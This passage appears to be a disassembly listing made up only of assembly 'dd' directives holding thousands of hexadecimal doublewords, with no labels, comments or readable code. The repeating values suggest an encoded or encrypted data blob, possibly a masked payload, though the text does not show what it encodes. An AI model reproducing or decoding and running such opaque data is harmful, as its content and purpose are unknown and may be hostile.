dd 373D565Dh, 0B13256AFh, 0D1DEDDAEh, 0EB5336FBh, 0B134D6DAh
dd 41B356EAh, 0E76FC1DCh, 49F6D5DBh, 854013Dh, 0D1694BFCh
dd 9EE0D731h, 0B1B2597Ah, 0D03256D5h, 0BE65AA8Bh, 0B1325CF1h
dd 0B137BFBAh, 4FE8565Dh, 0E7D10D1Ch, 73B33037h, 64B244BAh
dd 0D16337A6h, 6F9E9E5h, 4D6137C0h, 0B1CA137Dh, 4832565Dh
dd 83B09157h, 0B035F8DFh, 4D3256ABh, 0BE3A235Eh, 0B132576Ch
dd 3A54A375h, 0B7B459A4h, 0D132565Dh, 48CADDC8h, 0F588DD36h
dd 0BE35F82Dh, 0B1325B53h, 72B336EAh, 0BC54F953h, 2DC5D7DCh
dd 0EEB937EEh, 0B0BE59A6h, 48325657h, 353D8DA0h, 0B132565Dh
dd 0B9BF5912h, 0BE325675h, 0B132543Ch, 8A53365Dh, 0FBB75970h
dd 0BE325657h, 0B1324329h, 0BFDB36D5h, 253256EAh, 5015B01h
dd 5169EF30h, 17A0D2A0h, 0ECB937BAh, 0B120BF5Bh, 0E7D056ABh
dd 0B9B95DEEh, 86A63482h, 40667B86h, 3AC14391h, 0B133D352h
dd 38CA56AEh, 0B7DB5A08h, 843256ABh, 9F080C08h, 0A5F5D5A8h
dd 0B1325C9Ch, 2CC05EBAh, 86048C55h, 58846ADBh, 4ECDA921h
dd 6EFCBh, 3E3D555Ch, 0B13256E9h, 0D0CADD13h, 492CDDDCh
dd 0BEDAADDDh, 0B131DE2Ah, 3A543657h, 0B1BD5965h, 0D03256D5h
dd 0BEDBAD6Ah, 0B13122F1h, 0B120BFBAh, 0F072565Dh, 0B57909CDh
dd 0BD4070F1h, 0D8BA6FB3h, 0E1BE567Fh, 0BED9AD6Ah, 0B13102F1h
dd 0C08536BAh, 0B131DF52h, 44B256AEh, 4AB23706h, 9BB65949h
dd 443256D6h, 0BED1AD6Ah, 0B130AFF1h, 0B0BE59BAh, 4932565Dh
dd 0D6C9D7C8h, 0BFB659B4h, 0BE3256A8h, 0B1325E5Eh, 0B3B159EAh
dd 0D1325675h, 41D5D6DBh, 0B13246B4h, 0BBE7E0AEh, 3E49F4F6h
dd 26356B85h, 0DB61F67Ch, 3E3D3690h, 0B1325676h, 0BEEBE9B5h
dd 0B13250D6h, 7EE1D7AEh, 0D047A95Bh, 0BEC9D7CDh, 6BB65955h
dd 0D13256E8h, 3A54A0C4h, 52B23744h, 26136ADh, 0A3DA0CE6h
dd 0D6325657h, 0A459F49Ah, 0D19C466h, 3A62EE35h, 455F0EEAh
dd 0EB54E50Dh, 0C1C9D63Ch, 0B395D2A1h, 0D7525657h, 0EA81A62Ah
dd 0A78D30B5h, 0D0F8DD8Ch, 0AFB93014h, 978A30DAh, 0C9D4D6CEh
dd 49D1D6CFh, 9C9D6AFh, 0B049D2A4h, 0BDDB56D5h, 0AD3256EAh
dd 25425961h, 6BBBCB77h, 31DEE220h, 353D5390h, 0B1325736h
dd 0B1325E42h, 0AA88AD5h, 4E79CE06h, 0AA8036D0h, 8FB2374Fh
dd 0F7B65970h, 0D13256AFh, 59E0E958h, 0B13256B9h, 71B1FE4Bh
dd 490222B3h, 3B70147h, 77E9EE0Ah, 67B9CA42h, 31CB37F4h
dd 353D3E69h, 0B13257B6h, 0B132443Ch, 0A24DB6EAh, 0DAB7A057h
dd 30A5F97Ch, 0FF73B3ECh, 4EA9C7C5h, 1FBA64D5h, 28936ACh
dd 0D0735844h, 0BE2CDD8Ch, 0B1324BFBh, 0B4DB36BAh, 2932565Dh
dd 6D7C6E81h, 0B1325DBFh, 99478ABh, 0BFB77D94h, 3671C3E2h
dd 56B2372Bh, 77893642h
dd 3047A559h, 8EB86558h, 3054377Dh, 0BEDAD750h, 0B132EE51h
dd 0A2BC59EAh, 58325675h, 0B13256B4h, 0C5B99119h, 0BA712F24h
dd 575C5844h, 3A541B6Ch, 5AB836CBh, 4953A160h, 44C2B1F5h
dd 30C9D7DCh, 37B6599Dh, 483256AEh, 0BE67A337h, 0B1325720h
dd 23CDAED5h, 0B69CD023h, 343D0B89h, 0B13256B6h, 0B13251B4h
dd 0FFCA5AAEh, 5BE94ACBh, 0B13FBECBh, 61C656D5h, 7044A2CCh
dd 0A37872FFh, 0AB78D77h, 0E17CAC67h, 49B930F7h, 4D77DF36h
dd 0B1325B42h, 0EDB83FD5h, 7C52E2FBh, 0C7FBAFC4h, 0D0CA11F6h
dd 0B1325EB4h, 0AFE011AEh, 0F0B496h, 4D4FD54Bh, 0AEB759D4h
dd 583256E8h, 0B1325664h, 0FDDFDFCCh, 5E9BAA39h, 0E301D5E7h
dd 0F1A48693h, 4C88DD0Bh, 0BE35FEE5h, 0B1324469h, 0B13FBF75h
dd 6456BAh, 71ED4271h, 0A254C68Bh, 4DFA91ECh, 373D36FBh
dd 0B13256D3h, 0B132DBE5h, 6BB95675h, 0B126BFDBh, 92F7565Dh
dd 238BE584h, 0B87AB7DEh, 78DBF126h, 0CA01353h, 33B968BFh
dd 0B69CDE47h, 0B1325D53h, 4AF3FF5Dh, 12D364C4h, 14B47F83h
dd 44026A92h, 2EB0598Dh, 4D3256EBh, 0B643ECFEh, 0E1CE5112h
dd 0B13ED852h, 363D56AEh, 0B1325651h, 0B132DEA4h, 33B956D5h
dd 0B69CDED8h, 0B1325C9Ch, 0A8B119BAh, 0FD801F51h, 885DCB6Dh
dd 0B9DB666Bh, 343256ABh, 91A59EE3h, 0E95DF005h, 0B06AD97Ah
dd 323D56BAh, 0B1325651h, 0B134D1A1h, 343D5657h, 0B13256ABh
dd 0B1326A3Ch, 0F4F5A3EAh, 0B132548Dh, 3A5236BAh, 0D06D00ACh
dd 97DBAFCFh, 58325657h, 0B13256A6h, 5A3B680Ch, 0C4D8F112h
dd 0C8EEFE04h, 497791E7h, 0B132565Ch, 0BED7E0CEh, 0B13255D2h
dd 46B930ABh, 0F588DDB4h, 4835F86Ch, 383D49FEh, 0B13256BBh
dd 0BEE95DA8h, 0B132BB2Ah, 0B0BE5957h, 493256ABh, 0B133D2DAh
dd 8AC756EAh, 3CB759ABh, 0D13256BAh, 0BE529CD6h, 0B132562Fh
dd 3A533757h, 0A2DB5AF6h, 143256D5h, 868FC28Ah, 88F657D7h
dd 0EAB1A726h, 0BC9C88AFh, 0A5DB18FBh, 0BD325657h, 0F18C23Ch
dd 0C4B6D87Eh, 0F36DB201h, 0C52625CBh, 32BBB237h, 0BE32AE20h
dd 0B132752Ah, 30543657h, 0D72AC641h, 0D01E0E6Fh, 0D1CA0BE9h
dd 0D1533EC2h, 0B1325F53h, 2AC0905Dh, 0CD45CEA6h, 0D0CB22D4h
dd 0D1360922h, 0B132503Dh, 51506AEAh, 3B1A1CCFh, 0B9DB0D5Fh
dd 2A32565Dh, 8457DA5h, 0D0579499h, 48269128h, 4ECD153Ch
dd 0B123BF15h, 4465675h, 9C0825FEh, 0DC56BDA8h, 0C368F3E6h
dd 0BE5BF94Fh, 0B1325E2Bh, 0B3BE59D5h, 0D13256EAh, 0D1F26514h
dd 0B1325352h, 0EA12155Dh, 0E961C4D7h, 0B8DB370Fh, 0BE3256AEh
dd 0B132575Dh, 3A54A3EAh, 0CCB9AA6Bh, 4AB2A3B6h, 0C6B659B6h
dd 0D13256AEh, 66B6BDD6h, 305408DCh, 0D07FC735h, 41D1D612h
dd 0B13DBF15h, 901156BAh, 50D747B2h, 41AF3C62h, 6D67BDF3h
dd 0B122BFBFh, 95C956D5h, 1CF0100Fh, 0D7F169CAh, 15BFE226h
dd 0BE538EEBh, 0B1325A24h, 373D3657h, 0B13256ABh, 1A31E9B3h
dd 0C1C9D68Bh, 0B198D27Ah, 373D56BAh, 0B132565Ch, 0B043BF57h
dd 313D5657h, 0B13256A5h, 0B1325F3Ch, 0ECD849EAh, 634FD66Dh
dd 0B6F4C1D6h, 0B122BFB4h, 37B856AEh, 0AF905497h, 739BAF7Ah
dd 88C1F533h, 0F6F5214Bh, 0B1325674h, 76B9AFBAh, 0BADAAF3Dh
dd 4F3256AEh, 0CBFB0311h, 96F38BB9h, 0E9C705A9h, 71B1AA8Bh
dd 0B138BF70h, 0F87856BAh, 0B748B38Dh, 0C1996EACh, 0B1325FBEh
dd 7E9283ABh, 915656C7h, 0ACDB0B58h, 0BE325671h, 0B1327136h
dd 0A0DB365Dh, 343256AEh, 0C11CCECEh, 0B31614D6h, 0CD6E7CBh
dd 9A8CFC2Dh, 0B1325C9Ch, 9F0CF2BAh, 1069BE23h, 0D0C3CD2Fh
dd 0BE359131h, 0D152AEA3h, 0B1325B3Ch, 0E61564EAh, 76EDA7D5h
dd 8CF88D06h, 138C1356h, 0D05EFB33h, 0B1325CBEh, 4E6498ABh
dd 0BEAF7553h, 0D00A5B89h, 353D48FFh, 0B13256B1h, 0B13250B4h
dd 360705AEh, 3167B3DAh, 0BADB5948h, 233256D5h, 0A021B7Ah
dd 0B44ACD77h, 7AB243B6h, 0B13FBFDDh, 4DE656AEh, 0B76003EEh
dd 975DA101h, 39BEC8ECh, 373D57B5h, 0B1325662h, 0B1B359DAh
dd 5932565Dh, 0B13256A7h, 5790ECDFh, 8A09F028h, 76530FEBh
dd 0B13254ADh, 3ACE5675h, 0B13BBF7Dh, 5DA4565Dh, 978D884Bh
dd 32BA6BDEh, 0A3DB506Bh, 393256D5h, 0E7957287h, 0E23ECD43h
dd 3CDC6F6Ch, 50C8BF9Bh, 0B21CBFF5h, 0BDDB5657h, 183256ABh
dd 74EA78A5h, 71E2288Ch, 0D7373999h, 21A2683Bh, 0B16ED252h
dd 383D56AEh, 0B1325650h, 41B330CBh, 31536502h, 343DC6D4h
dd 0B132561Eh, 0B1325D53h, 1DE255Dh, 0BA0C9DBCh, 5DCA9C1Bh
dd 4E4CD7CDh, 353DC645h, 0B13256C0h, 0B132429Ch, 0B5D664BAh
dd 0C23B4074h, 329EBB47h, 4F278AF3h, 1159B9F0h, 0B103BF50h
dd 305256EAh, 0A7338FBDh, 0B58830C9h, 76B937ABh, 0B39CBF57h
dd 0A0DB5657h, 4D3256ABh, 67362DB4h, 6FD2701Eh, 8F2CAFB9h
dd 77CCD05Ah, 0B133DE52h, 3CCA56AEh, 1FBB60D5h, 353D36ACh
dd 0B13256D6h, 0D0E4DD8Ch, 4864A325h, 37CAC445h, 0B9DB51F3h
dd 0D33256AEh, 0C4FB903Ah, 0BA128635h, 0D1B65915h, 483256EAh
dd 0A1DB9EFEh, 543256BAh, 0F6BD5C7Eh, 0B4E6B990h, 0DF246237h
dd 3C3CA855h, 1FBB6067h, 0B122BFEDh, 32CB5675h, 0E4764159h
dd 911A01E2h, 6B5A8638h, 1DDBDCC1h, 583256ABh, 0B13256C4h
dd 86B824E6h, 22D96CECh, 6CE06286h, 71913B5Ch, 0B13FBF97h
dd 0C90B5657h, 2086C628h, 5ACE087Bh, 0E797CAC7h, 0B133D97Ah
dd 3ACA56BAh, 383D3693h, 0B13256A8h, 0B132D358h, 363D56ABh
dd 0B13256D7h, 0E453378Ah, 0B132509Ch, 83B582BAh, 4E8A96C1h
dd 1FB49F3Ch, 58523650h, 0B13256BBh, 7D6FA05Fh, 71C1AAECh
dd 2E263A9Ch, 8590A6D1h, 0DB6DEF3Bh, 0B13FBFCFh, 0D2E35657h
dd 7A67544h, 2B21411Dh, 0D0B2E942h, 0B0B95928h, 493256BAh
dd 353D9876h, 0B13256AFh, 44EBA1AFh, 0B13BBFF5h, 0DAAD56D5h
dd 1906F41Ah, 32F7D03Ch, 0BE33AEC7h, 0B132E1D8h, 0ED8836AEh
dd 0D035D0FFh, 0B1324742h, 449BA4D5h, 0AD31B5A5h, 21B0D05h
dd 0DCC9A45Ch, 0F8826F98h, 0B121DEA1h, 0BFDB5657h, 883256ABh
dd 0ECC1319Ah, 0F6342F4Dh, 0C57DE60Ah, 5952FC24h, 0B132565Ah
dd 0CF6EFFE5h, 0D788A559h, 0E8A6C210h, 0B1325E3Ch, 571DD0EAh
dd 0ADDBD43h, 9543799h, 0A5DBD352h, 0DE3256AEh, 0AAE1D6D9h
dd 325EE82Eh, 0EFF16131h, 0BE638815h, 0D7FB3B02h, 0B138BF11h
dd 26E7565Dh, 0C30AC509h, 356775E9h, 0B074E0A4h, 0B132453Ch
dd 0D565AEAh, 6AC2ECB3h, 46526824h, 1AFD79F8h, 0DBD38DC7h
dd 3AE8DD37h, 48993769h, 0B132F53Ch, 0B0B159EAh, 4D325675h
dd 0B3CA2B39h, 0B1BDD352h, 0BE5256AEh, 585394E0h, 0B13256AEh
dd 30141112h, 0BA8A3058h, 0B134BFBCh, 4BE356BAh, 0D9396C64h
dd 383DFDC8h, 0B132565Bh, 0B1325142h, 0DDA10DD5h, 0D766CAECh
dd 353DEE13h, 69B330DAh, 0D7534848h, 0BEDB3605h, 54325657h
dd 42535277h, 3C98C2C2h, 0D6F9B7A0h, 6AB3AD4Ah, 0BE9262BCh
dd 0F784593Ch, 0BE99AFAFh, 0B1324CD5h, 0A1DB36ABh, 0C3256D5h
dd 0CE13453Eh, 5DD96B9Fh, 3607F52h, 0BE4ED2FAh, 5853A019h
dd 0B132565Bh, 8C83365Eh, 719DE8B3h, 4D96A58Bh, 3F3D91FEh
dd 0B13256A2h, 0B13EBF3Dh, 0A92556AEh, 41FC210Dh, 9CEE4AA4h
dd 3054B562h, 0D02A0920h, 0BECE362Eh, 0B1325433h, 0D0C3DD5Dh
dd 0B13EBFF7h, 6C7F5657h, 42DAD049h, 6AC530B9h, 0B6DB814Dh
dd 7B325675h, 0BD713AC4h
dd 0D16C9726h, 0D0E4A62Eh, 0BDB75908h, 0BE3256ABh, 0B132505Bh
dd 0B1B559EAh, 78325675h, 0B127DDB5h, 5952565Dh, 0B13256A9h
dd 538039F4h, 0E8A0233Eh, 0B132DADAh, 735356EAh, 0BE52567Dh
dd 0B1325535h, 4B8D595Dh, 1EEC5211h, 4D673724h, 363DBA20h
dd 0B13256D4h, 59CB3612h, 0B1325675h, 0BAD8D7E0h, 0BE35F8EAh
dd 0B1325721h, 0B7DBAA57h, 8B3256ABh, 281EF286h, 0B977DDFBh
dd 0B132469Ch, 38C125BAh, 0E140B1Dh, 0DD74C190h, 0BB6CC2FCh
dd 33BBAAD7h, 0B69CD0A8h, 0B1325A03h, 0E3AED275h, 0DCEE0ADDh
dd 0D29AA8CDh, 393D371Ah, 0B1325640h, 0B123D0A4h, 0BDDB56D5h
dd 0E13256EAh, 0BB3E1245h, 345E3EC8h, 782913A4h, 0B1324547h
dd 0A44D8457h, 16FD8D74h, 47E0F94Eh, 31CBD01Fh, 0A8AA6C21h
dd 49325278h, 0B1325BB4h, 408903AEh, 0A38B65B7h, 2D1EAFF1h
dd 0BE67186Fh, 0B1325C66h, 0EF603675h, 0B132DFB5h, 0D153565Dh
dd 0B1325F47h, 44DCC757h, 0DC7775C5h, 3A539C4Ah, 0B13DBF06h
dd 0F8A85675h, 7E8463BAh, 0BBA6E115h, 92254EE4h, 49F6D5EBh
dd 0D7523657h, 59538F5Eh, 0B13256EAh, 56D8D72Fh, 4935F80Dh
dd 0B13ED052h, 0B6DB56AEh, 22325657h, 26954D4Eh, 0F4F58D9Ch
dd 0B1325612h, 0BAB45975h, 583256BAh, 0B132565Bh, 55912790h
dd 0F4F5A100h, 0B1325657h, 7101AAD5h, 0B13BBF8Ah, 64585675h
dd 0E59202ECh, 0D75DC247h, 0D7539E25h, 76CB48DCh, 1FBA6429h
dd 0B13257D2h, 0B13FBFEAh, 855F5675h, 6166B77h, 51B0860Dh
dd 0D71AD134h, 21A2ADD6h, 0B120D3A4h, 0BCDB56D5h, 183256EAh
dd 95224AD6h, 334BBD62h, 0E9AA85F2h, 0BEDAAD2Eh, 0B1375BD3h
dd 0A0B759ABh, 583256D5h, 0B13256E6h, 83B6CBE3h, 0A9BFB6B1h
dd 1CDB65CDh, 5801E7CEh, 0B1325644h, 85BCCD43h, 0D4B6A881h
dd 74D62FDFh, 0ACFD677Fh, 0D0C5DC88h, 0A2BD591Dh, 0D13256AEh
dd 0BBDB97DCh, 613256ABh, 0BC0BD1B4h, 6BC5F9CCh, 4AB2376Eh
dd 6B65953h, 0D1325659h, 0B134D4A1h, 383D5657h, 0B13256ABh
dd 0B132453Ch, 0A23BA0EAh, 4E69F871h, 0A8B0DD8Fh, 0CF1912F0h
dd 8428816Dh, 0B138BF36h, 0CE3556ABh, 0B659F2A5h, 2BA6110Fh
dd 0B126BF35h, 1CCC56BAh, 0F0F0847Eh, 0A91FB923h, 0B36CCA67h
dd 2F12F68Bh, 4AB2BEC0h, 0EEB65901h, 4D325671h, 56B2A3FAh
dd 0BFBF59ADh, 583256AEh, 0B132565Eh, 8C0FCA8Eh, 0DA1D1781h
dd 4AB3308Ah, 353DD67Ah, 0B1325280h, 0B1325DB4h, 10BB04AEh
dd 0E99F7330h, 1FD15A60h, 9753D4D6h, 3F3D5142h, 0B1325664h
dd 0B134BEDAh, 5E6A565Dh, 916D84A0h, 41B9300Fh, 3B3D16CAh
dd 0B13256D4h, 53C9D612h, 0B2C6D27Ah, 353D56BAh, 0B1325677h
dd 0B13CBECEh, 0BAEC5657h, 0E2507707h, 0BC0DFF79h, 0CF3DB4B6h
dd 0B13DBF2Eh, 861056BAh, 0EBC87E1Ch, 2F9AB7Fh, 9BFD65Fh
dd 44523725h, 1DF5A554h, 315338C7h, 353DB58Eh, 0B13255C0h
dd 0B1325EB4h, 759524AEh, 0C7D37940h, 0F54369Fh, 0BCDAC2ECh
dd 563256EAh, 541A94D6h, 0E27643B8h, 0C3CFF853h, 305437F5h
dd 0BED131ACh, 0B131D72Fh, 0B120BFD5h, 72CC56EAh, 58441A22h
dd 0DCF18A30h, 2EE919A0h, 0A3345C06h, 0B133D758h, 31CE56ABh
dd 3E3DA636h, 0B13256EDh, 46B93015h, 3153FB0Bh, 353D26A6h
dd 0B13255FCh, 6F893037h, 0D0F1DD31h, 4D2CDDB3h, 0D1CAB56Ah
dd 0D0F2E97Ah, 0BE8AAD3Ah, 0B133DBD9h, 8FB2A3AEh, 32B65952h
dd 0D13256AAh, 29D2D7B3h, 77B93011h, 9C0CD614h, 0B042D2B5h
dd 303D565Dh, 0B13256A2h, 0B134D458h, 353D56ABh, 0B13256D5h
dd 0BE5A686Ah, 0B13303F1h, 3D3D36BAh, 0B1325658h, 0CFD4D7C8h
dd 5AB3305Ch, 0F15391EDh, 83B0A92Dh, 4D35F862h, 582CDD13h
dd 0B13256AAh, 0CD78E06Bh, 9EA1BACAh, 8656331Ah, 0A2B13FE8h
dd 305407B5h, 0EF2CFF33h, 7FB33015h, 393DA45Ch, 0B132565Dh
dd 56B237CFh, 3054A3AFh, 0BEDAD750h, 0B132AB51h, 3C3DAAEAh
dd 0B1325674h, 0AFB93042h, 0B13258B4h, 0A48519AEh, 84CE2670h
dd 0B9BF0621h, 3109EF7Fh, 4952A60Dh, 4AB33014h, 353D963Bh
dd 0B1325693h, 30EADDCEh, 8D9295A1h, 0BE52379Ah, 0B1325E5Ch
dd 0B3BA59EAh, 0D1325675h, 0A3DB03DBh, 0F32565Dh, 1B8ABF0Ah
dd 0F2BC261Eh, 44725Dh, 6F508C19h, 0B0BB5934h, 4D325675h
dd 37FBC445h, 0BDDB51F3h, 793256AEh, 0C2301F9h, 26141339h
dd 0D1E5332Bh, 2469D652h, 0B126BF51h, 1B1556BAh, 117329C3h
dd 3B1C415h, 66E46FF9h, 0DEAAC6FCh, 0EC534144h, 0EB61368Ah
dd 0C8C4D714h, 0D0205A0Dh, 58CE13D4h, 0B13256BFh, 0AE9B9A79h
dd 0A9D3AFF2h, 9318E621h, 0CE0691CDh, 303D3772h, 0B13256BBh
dd 363D36A5h, 0B13256ACh, 48B9B7DDh, 4D4FD5CAh, 0DFB759D4h
dd 0BE3256ECh, 0B1325CFFh, 0B137BFBAh, 0D20E565Dh, 0D12FA1C6h
dd 6E8D5906h, 0ED8A30F5h, 0BB93736h, 0B69A6617h, 0B132429Ch
dd 627C2FBAh, 911B4054h, 65BFB22Fh, 0C420B4h, 7C10DEE7h
dd 333D063Eh, 0B13256FCh, 0B132479Ch, 662469BAh, 761CEFCAh
dd 0DF9F5D6Bh, 83F9C9Ch, 33B9534Fh, 0B69CDEE7h, 0D795E68Ah
dd 572A95F4h, 810E6FDBh, 0B133DE52h, 0D1CA56AEh, 0E16148E3h
dd 0E9530CF1h, 0B4DDD4DAh, 3AC756EAh, 193527CFh, 0E6236BDh
dd 0D13B3FA0h, 496237F4h, 3900D4DCh, 88C75105h, 0BDDB66E9h
dd 0A83256EAh, 5E51873Dh, 7984C299h, 0E9A8454Ah, 0B489D9A1h
dd 0A5DB5657h, 6C3256ABh, 9A10D019h, 9CD7E06h, 83ACD105h
dd 0ED24B437h, 3A374020h, 1FB43C14h, 68B93650h, 0DBB0D5CAh
dd 0A535F853h, 0BE05DF16h, 0B1325FF7h, 70B936BAh, 0F7999E2h
dd 0F6BB37B3h, 0BDDB3647h, 1E3256ABh, 0EA90970Bh, 66DCF599h
dd 0E702B16Ah, 0E9EADDDCh, 3ACA063Ch, 1FBA642Ch, 0B6B95950h
dd 0BE3256ABh, 0B1325750h, 0ADB9AAEAh, 0B4B65945h, 0D13256BAh
dd 0D0F3E952h, 0B126BFF6h, 16C85657h, 0BB3D9877h, 9826A026h
dd 0BF59B2Ch, 3C50F532h, 0EEBB90A8h, 3A543655h, 0B137BE5Ch
dd 0B56B5657h, 3A4D4227h, 58530D2Eh, 0B13253E7h, 0B13CBF15h
dd 598C56BAh, 0E506D8C6h, 8457D250h, 0BBF7B22Eh, 0B134BFF8h
dd 617556D5h, 0C986FFD9h, 0F4F5372Bh, 0B1325442h, 0B122BF5Dh
dd 0C73C56AEh, 1164CF3Ch, 542E906Dh, 4119201Bh, 0AEDB8D08h
dd 58325675h, 0B13256A8h, 8AC6A73Ah, 0A3113B2Fh, 0DCC5EE5Bh
dd 828D47E2h, 0F4F5F13Bh, 0B1325712h, 0BB9AE75h, 0B69CD0D0h
dd 0B139D952h, 0BE5256AEh, 71B38EE0h, 0D1EEFDCBh, 0DBB0D5B4h
dd 0A535F86Ch, 0B12ADA7Ah, 0A2DB56BAh, 5932565Dh, 0B572CC15h
dd 627757D2h, 443053E5h, 38452D3Fh, 86BB5E36h, 91F4D615h
dd 0B124D0B5h, 0A0DB565Dh, 7F3256AEh, 0A8B24248h, 0D99A5BF8h
dd 5BC6ECD7h, 6B1428AEh, 0A175DF14h, 70B930DAh, 365CEF3Bh
dd 0B2CAD5CFh, 0B164D358h, 0A0DB56ABh, 9B3256D5h, 0A0082FCh
dd 4D3EC071h, 0C3CCCC0Bh, 0DD14AE69h, 0B120D1A1h, 0BCDB5657h
dd 1A3256ABh, 844591D5h, 0D741E6F9h, 335937B9h, 3900D47Dh
dd 0B13051F3h, 0D1CB56AEh, 28B3E931h, 0D0C5DDCDh, 0B132633Ch
dd 0B8B159EAh, 0D1325675h, 76D0D7DCh, 0D0EADDB9h, 0BE30AE2Dh
dd 0B13006DAh, 0A6BD59ABh, 0BE3256D5h, 0B132476Fh, 0B13EBF75h
dd 20E756BAh, 0CAB05B00h, 53C66401h, 0CCB1E1A0h, 353D5653h
dd 0B132566Ch, 0B1324603h, 0C8DD8F75h, 0F0BA57C4h, 3ACDE7C6h
dd 25181CE2h, 0F7845968h, 0B6DB36AAh, 0DD3256D5h, 6DD0F52Dh
dd 0BCDABF4Eh, 803256BAh
dd 0F662240h, 3A6BE783h, 0A087DD41h, 18B3E9CDh, 319B378Bh
dd 0BE3256EAh, 0B13216F0h, 0B13FBFBAh, 0CE3A565Dh, 0B8A69A25h
dd 0DD5F5606h, 0F107CFB3h, 0B4DAD52Dh, 9EEDC8Ah, 0D013D98Fh
dd 0B9B159DBh, 0BE32565Dh, 0B1325429h, 58533657h, 0B1325686h
dd 6B8D59B5h, 0B130DBE5h, 36835675h, 0B1CD7BDBh, 0A3DB565Dh
dd 4C3256AEh, 6FA77308h, 66CB51C4h, 0F294CD95h, 0D9A088E4h
dd 0B4DAD5F9h, 0B105BF46h, 3A3D565Dh, 0B13256ABh, 61B9AA37h
dd 3B5205CAh, 0B2BA591Ah, 313256EAh, 3A5370A2h, 1FBA6420h
dd 0B5B9AE5Ah, 5869AA9Dh, 0B1325651h, 8F8C11A4h, 313D7555h
dd 0B13256EBh, 0B132FF8Dh, 343DD6BAh, 0B132563Ah, 0B135DAA1h
dd 9525657h, 0F4ECF8D2h, 4DF455B4h, 0D1379669h, 0B25323C6h
dd 1FBA6438h, 0B134BF5Ah, 0DA9956AEh, 3959612Bh, 0F6BBAEE3h
dd 586336DDh, 0B13256FBh, 9A449890h, 0D1E9B44Ah, 2BC497F7h
dd 5960D93h, 7E8A0E62h, 0D037DC3Fh, 0BE3E115Ch, 0B1325A63h
dd 0B7B45975h, 0BE3256BAh, 0B13256DBh, 0B369BFAEh, 46C75657h
dd 0BE52AF73h, 9A53AF62h, 0B0BF592Ch, 4D325675h, 0A5DB8E4Dh
dd 6C32565Dh, 2BF722E2h, 0EF5A927Dh, 3938F41Dh, 0A4B55B55h
dd 0BEDFA59Dh, 0B1324DFBh, 0A4B359BAh, 5832565Dh, 0B13256BEh
dd 8D51E674h, 409AFACFh, 94A22C82h, 2627710Ah, 0BE3796F6h
dd 0B132493Fh, 0A8B4595Dh, 583256AEh, 0B1325643h, 5B5DDDABh
dd 0BA8D0FD8h, 5E149B55h, 30263839h, 9112D42Ah, 7785593Dh
dd 33313757h, 0B69CDE65h, 58CA1E52h, 0B13256C4h, 35E10D28h
dd 5E365EDh, 8AFB221Ah, 0C55FF19h, 0B975DFB6h, 0B1325DBEh
dd 0C02608ABh, 0D98A11ECh, 61916B18h, 0BE3E11FCh, 0B132553Bh
dd 0D0CA365Dh, 0B133CA47h, 323DAE57h, 0B13256A6h, 0B1325E3Ch
dd 11AE44EAh, 3FAFA6F9h, 48F265FCh, 583310D7h, 0B13256BAh
dd 755B5CFAh, 7DA65CAh, 55BEA211h, 7E2AC404h, 0A310C18Fh
dd 343DD612h, 0B1325690h, 0B12BDDA1h, 303D5657h, 0B13256B8h
dd 0B132583Ch, 649055EAh, 0FD9C79ABh, 0CFE94A5h, 0B24759E2h
dd 32CEAE68h, 0A1DB5497h, 0B13256ABh, 0A893D582h, 39FF17E8h
dd 29E0A748h, 0BE2CDDFBh, 0B1325ADDh, 0B7BE59AEh, 0BE325657h
dd 0B132562Ch, 0B133EDD5h, 0BAC756EAh, 84B659AEh, 583256BAh
dd 0B1325649h, 826D048h, 1422F5AAh, 0A7738B39h, 3C16F5E4h
dd 7A48DE7Eh, 10B9CCFFh, 0BE525117h, 0B13250D3h, 0B1B259AEh
dd 0D7325657h, 0D0BE7512h, 4433B555h, 38CA95E9h, 0B7DB5E32h
dd 0B63256BAh, 51E69A16h, 0BD75DF52h, 0B12FD158h, 3B5256ABh
dd 0B126BF33h, 0B57456EAh, 213C4B46h, 975A8A53h, 772722C1h
dd 6B13628Fh, 5853F472h, 0B132563Eh, 44EAA12Dh, 0B132A9CFh
dd 0B139BF75h, 42B856BAh, 922F102Bh, 9605FE6Ch, 0B13ABF95h
dd 617456ABh, 865336ADh, 77198F5Ch, 0B126BE15h, 354756BAh
dd 769A2417h, 0CA820C1h, 0AC9E113Ah, 1EE9A92Ah, 30543947h
dd 0EFD83E0Ah, 0B13BBF14h, 0A1CF56BAh, 84149522h, 46115E52h
dd 0B134BF8Fh, 0CACD56ABh, 0A240C1DFh, 49309669h, 0B975DF89h
dd 0B1324553h, 15A4DA5Dh, 2C9349EFh, 14E725E2h, 78CDA9EEh
dd 0DDEC5699h, 0D13E1163h, 0B132539Ch, 2E9B1ABAh, 1F8513CBh
dd 363DAECFh, 0B1325656h, 0D7523752h, 3822B954h, 0D019BB6Ah
dd 58F1AFBCh, 0B13256B0h, 0A1CA780Dh, 63FC1FCEh, 0BE529E48h
dd 0B1325422h, 0D0CEDCD5h, 0B13BBFBFh, 0E89A5675h, 26B5FB6h
dd 49B927CBh, 32C7BA25h, 0B8DBAA93h, 3256ABh, 0E5274437h
dd 809DAD3h, 0B139BF15h, 269D56BAh, 0F0D7E7DCh, 2AA33DE0h
dd 0B132BEB6h, 306856ABh, 1FF0CB3Fh, 0B8BC59EDh, 0D1325675h
dd 0B132D9B5h, 0D0CB565Dh, 0B133DEA1h, 3ACE5657h, 1FB41211h
dd 58C736D2h, 0B13256F8h, 8D0F4360h, 1BA81304h, 0B9809BCEh
dd 223D1BA7h, 82531F97h, 0B137BF62h, 786956D5h, 323831DAh
dd 353D564Ah, 0B13253F1h, 5835DDA4h, 0B13256BDh, 450C9C35h
dd 82BCF6E5h, 1BD0CFDAh, 18C8B7A1h, 4EC891F8h, 3A525ACFh
dd 738D59AFh, 0B13CBFCFh, 7E175657h, 0B6F0C6EAh, 55DB5EC7h
dd 0A6E81D9Fh, 583A238Ah, 0B13256BFh, 0E720AB53h, 30520685h
dd 1490CF95h, 438559C4h, 0B8A7BEB4h, 353D56EAh, 0B132567Fh
dd 0BEF8DDDAh, 0B13256DCh, 0BE5237AEh, 7CB2A8E0h, 713937B1h
dd 0B11FD3DAh, 0D15256EAh, 292BEF13h, 0D0CAE1B5h, 4CCBEC3Bh
dd 0BE35DDCFh, 0B1325AD4h, 0B7B259ABh, 0BE3256D5h, 0B1325669h
dd 0B116BF75h, 3B5256BAh, 3253AE9Bh, 0A0DB4269h, 3E325657h
dd 27B0A012h, 0F9177ED7h, 9F5BB287h, 2BAC582h, 4ECD6053h
dd 0F4BBAFA2h, 0BEDA3652h, 7325657h, 1CB6D07Dh, 3CC1C114h
dd 0CA51AB13h, 0B8DBE99Bh, 7F3256BAh, 95C9E3Ah, 0CB31D7D7h
